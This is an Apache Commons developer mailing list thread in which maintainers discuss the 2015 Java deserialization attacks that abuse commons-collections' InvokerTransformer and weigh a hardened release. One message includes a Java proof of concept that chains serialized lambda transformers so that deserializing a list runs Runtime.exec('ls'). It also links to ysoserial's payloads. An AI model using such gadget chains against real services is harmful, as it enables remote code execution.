On 11/07/2015 12:56 AM, Thomas Neidhart wrote:
> On 11/06/2015 10:25 PM, Bernd Eckenfels wrote:
>> ello,
>>
>> I came across this article:
>>
>> http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
>>
>> It describes attacks against common Java applications with
>> pre-authentication requests using malicious Java Object serialisation.
>> It builds upon the work of Gabriel Lawrence (@gebl) and Chris Frohoff
>> (@frohoff) (presented on January 28th, 2015, “Marshalling Pickles”
>> given at AppSecCali)
>>
>> http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
>>
>> The ysoserial tool has some sample payloads, two use
>> commons-collection oac.collections.functors.InvokerTransformer. * 
>>
>> https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads
>>
>> The class itself is rather handy to break out of the readObject()
>> chains to execute arbitrary methods.
>>
>> I do'nt recall any discussion here about this
>> class. Is this currently handled/reported? Of course the more general
>> problem is using serialisation with untusted peers, and if
>> commons-collection fixes this, there might still be other vectors, but
>> still I think it would be good to do something against that "bad press"?
> 
> I was not aware of this yet, thanks for the pointers.
> 
> If we would remove the problematic classes and release a new collections
> version (for the 3.x or 4.x branch) we would break source and binary
> compatibility.
> 
> It might be acceptable/doable to release a collections version with an
> additional maven classifier (e.g. -hardened) that removes the relevant
> classes and explain the compatibility issues in detail in the release
> notes. What do others think about something like that?
> 
> btw. with Java 8 you can do similar things by using serialized method
> references. I did create a very simple example to illustrate the issue:
> 
> public class MyTest {
> 
>       public static void main(String[] args) throws Exception {
>       final SAM1 m1 = (SAM1 & Serializable) Runtime::getRuntime;
>       final SAM2 m2 = (SAM2 & Serializable) Runtime::exec;
>       
>       Transformer t1 = (Transformer & Serializable) (input) -> m1.action();
>       Transformer t2 = (Transformer & Serializable) (input) -> {
>               try {
>                       Process p = m2.action((Runtime) input, "ls");
>                       
>                       String line;
>                       StringBuilder output = new StringBuilder();
>                       BufferedReader reader = new BufferedReader(new
> InputStreamReader(p.getInputStream()));
>                       while ((line = reader.readLine()) != null) {
>                           output.append(line);
>                           output.append("\n");
>                       }
>                       reader.close();
>                       return output.toString();
>               } catch (IOException e) {
>                       return null;
>               }
>       };
> 
>       ChainedTransformer chain = new ChainedTransformer(t1, t2);
>       TransformedList list = TransformedList.transformedList(new
> ArrayList(), chain);
> 
>         FileOutputStream fos = new FileOutputStream("test.ser");
>         ObjectOutputStream os = new ObjectOutputStream(fos);
>         os.writeObject(list);
>         os.close();
> 
>         FileInputStream fis = new FileInputStream("test.ser");
>         ObjectInputStream ois = new ObjectInputStream(fis);
> 
>         List l2 = (List)ois.readObject();
> 
>         l2.add(1);
> 
>         //Print the result
>         System.out.println(l2);
>         ois.close();
>     }
> 
>     interface SAM1 {
>       Runtime action();
>     }
> 
>     interface SAM2 {
>         Process action(Runtime r, String s) throws IOException;
>     }
> 

I was a bit too fast with this. This example will only work if the
remote site has the same code otherwise the lambda functions can not be
de-serialized.

Thomas

---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscr...@commons.apache.org
For additional commands, e-mail: dev-h...@commons.apache.org

Reply via email to